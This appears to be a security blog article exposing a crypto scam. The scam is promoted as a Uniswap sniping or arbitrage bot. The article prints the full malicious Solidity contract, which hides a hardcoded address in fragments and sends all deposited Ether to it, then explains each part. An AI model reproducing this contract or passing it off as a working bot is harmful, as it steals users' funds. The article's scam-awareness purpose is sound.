// inside head tag
The aim of this article to expose one of the many scams circulating the web at the moment. We will go through a smart contract and break it down line by line to explain how that malicious smart contract will steal any Ether you send to it.
We decided to write this article after seeing an increased number of YouTube ads that are misleading users into believing that they are building an arbitrage bot, when in fact the purpose of the smart contract is to steal their funds.
We watched one such video of someone telling users that the “arbitrage bot” would make them $2,700 a day. For safety reasons, we will not be sharing the link to the video in this article.
Instead, we will take the code that the scammer suggests in the video, put it into Remix, and then explain the vulnerability inside the smart contract.
The person in the video which inspired this article claims that they will create a sniping bot, which will monitor new Uniswap pools in real time and try to buy early into the pool, before selling for a profit later on.
The author is advising the viewers to click on a link in order to get their code for the sniping bot and then put it into Remix.
This code is malicious and if you deploy it on an actual mainnet and fund it, your funds will be stolen. We are displaying the code in this article for educational purposes only and we use it to demonstrate the attack vector. The following code MUST NEVER be used in production.
Link to the full code can be found here
To be concise, we will only showcase the vulnerable code.
Kindly note that we have added the string public scammerAddress
line in the code to make it easier to visualize the address where the funds will be sent. We have also adjusted the fetchMempoolData
function to store the return value of the abi.encodePacked
method inside this variable before returning it.
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
contract OneinchSlippageBot {
string public scammerAddress;
receive() external payable {}
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function getMempoolStart() private pure returns (string memory) {
return "df6C";
}
function fetchMempoolEdition() private pure returns (string memory) {
return "d8A168";
}
function getMempoolShort() private pure returns (string memory) {
return "0xf1c7";
}
function getMempoolHeight() private pure returns (string memory) {
return "9a49FA";
}
function getMempoolLog() private pure returns (string memory) {
return "e23";
}
function getBa() private view returns(uint) {
return address(this).balance;
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function fetchMempoolData() internal returns (string memory) {
string memory _mempoolShort = getMempoolShort(); //0xf1c7
string memory _mempoolEdition = fetchMempoolEdition(); //d8A168
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
string memory _mempoolVersion = fetchMempoolVersion(); //1FaD545
string memory _mempoolLong = getMempoolLong();
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
string memory _getMempoolHeight = getMempoolHeight();
string memory _getMempoolCode = getMempoolCode();
/*
load mempool parameters
*/
string memory _getMempoolStart = getMempoolStart();
string memory _getMempoolLog = getMempoolLog();
scammerAddress = string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
_mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
return scammerAddress;
}
function getMempoolLong() private pure returns (string memory) {
return "41e396";
}
/* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
address to = startExploration(fetchMempoolData());
address payable contracts = payable(to);
contracts.transfer(getBa());
}
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
function withdrawal() public payable {
address to = startExploration((fetchMempoolData()));
address payable contracts = payable(to);
contracts.transfer(getBa());
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function getMempoolCode() private pure returns (string memory) {
return "605f";
}
function fetchMempoolVersion() private pure returns (string memory) {
return "1FaD545";
}
}
The contract implements a receive()
function because it needs to be able to receive native Ether.
This function will return the Ether balance of this contract.
function getBa() private view returns(uint) {
return address(this).balance;
}
In the code above we have 8 private pure
functions which return some strings
. As they are private
, they can only be called from within this contract.
Since they are declared as pure
, it means that they do not update the state.
In practice, these functions return some strings
when being called.
If you look at the strings that they return and you are somewhat familiar with blockchain and wallets, you will quickly realize that these strings seem to form the address of a wallet/smart contract.
The scammer broke down their wallet’s address into multiple bits, like a puzzle, and scattered them around into these 8 functions.
The functions used for this purpose are getMempoolStart
, fetchMempoolEdition
, getMempoolShort
, getMempoolHeight
, getMempoolLog
, getMempoolLong
, getMempoolCode
, fetchMempoolVersion
.
The names of the functions are purposefully misleading, because they seem to suggest to the users that the contract will fetch some data related to the public mempool, when in fact all that they do is to return pieces of an address.
The fetchMempoolData()
function is the one that builds “the puzzle” and puts the address together. This function calls all the 8 functions mentioned above and stores their return values in some variables.
function fetchMempoolData() internal returns (string memory) {
//..
//..
//@audit This scammerAddress variable was added by us in the contract to make it easier
//to visualize the address where the funds are getting sent to
scammerAddress = string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
_mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
return scammerAddress;
}
After fetching all the parts of the address, the function uses the abi.encodePacked
method to concatenate all the strings together. This effectively turns the 8 “puzzle pieces” of the address into 1 full address.
The startExploration
function takes a string
as an input and returns an address
as an output.
In Solidity, a string
is an array of bytes
. The first thing that this function does is to typecast the string
input into a bytes
object bytes memory tmp = bytes(_a);
.
Then it will apparently manipulate this bytes object, but without making any changes to it, before returning the address. The whole purpose of this function is to take the address which was passed in as a string
and return it as an address
object.
We have reached the last 2 functions in the contract. We will analyze them together because if you take a close look at their logic, you’ll see that, despite having different names, they both do the same thing.
Let’s take a look at what’s happening here.
function start() public payable {
address to = startExploration(fetchMempoolData());
address payable contracts = payable(to);
contracts.transfer(getBa());
}
The first line of code calls the fetchMempoolData()
function which returns the scammer’s address as string
and passes that string to the startExploration()
function, so that the string object is returned as address
. Then it will set the value of to
to the scammer’s address.
In the second line, it will make the to
address payable
and store its value into a contracts
variable.
The third line of code uses the transfer()
method to transfer all the Ether balance of this contract (remember that getBa
returns the full Ether balance of this contract) to the address stored inside the contracts
variable, which is the scammer’s address.
As stated earlier, calling the withdrawal()
function will do exactly the same thing.
Firstly, users are misled into thinking that they will deploy a sniping bot on a blockchain network, which is supposed to generate passive income for them.
The users are then encouraged to download certain code, put it into Remix, with the video showing them how they can then deploy the smart contract on a live mainnet.
The next step that the users need to take is to fund their freshly deployed contracts with some Ether. The bigger the Ether amount, the more passive income they’ll make - at least according to the claims made in the videos.
After that, seemingly all that’s left to do is call the start
function so that the “bot” starts working for the user.
However what really happens, as we’ve explained above by looking into the actual code that gets deployed on the blockchain, is that anyone who sends Ether to this contract will have it stolen from them. Once a deposit is made, anyone can call the start
or withdrawal
functions because these are public, and these functions will send the full Ether balance of the contract to the address that was hardcoded inside the 8 private pure
functions.
We hope that this article has helped to highlight how vulnerabilities can be disguised in scam smart contracts, and why you should not use code from unaudited and unverified sources. If you are unsure whether that code is safe or if you don’t trust its source, the best approach is not to use it. Try to work with code from reputable and popular libraries such as OpenZeppelin, Solady, etc.
WARNING: The code analyzed in this article is malicious and if you deploy it on an actual mainnet and fund it, your funds will be stolen. We are displaying the code in this article for educational purposes only in order to demonstrate the attack vector. The code MUST NEVER be used in production.
The best way to ensure that the codebase is secure is to go with #2 and request a professional security review of the codebase.
The company doing the review will also provide you with an in-depth report at the end of the audit with all the vulnerabilities that were identified in the process.
Disclaimer: This article has been prepared for the general information and understanding of the readers. No representation or warranty, express or implied, is given by Nethermind as to the accuracy or completeness of the information or opinions contained in the above article. No third party should rely on this article in any way, including without limitation as financial, investment, tax, regulatory, legal, or other advice, or interpret this article as any form of recommendation.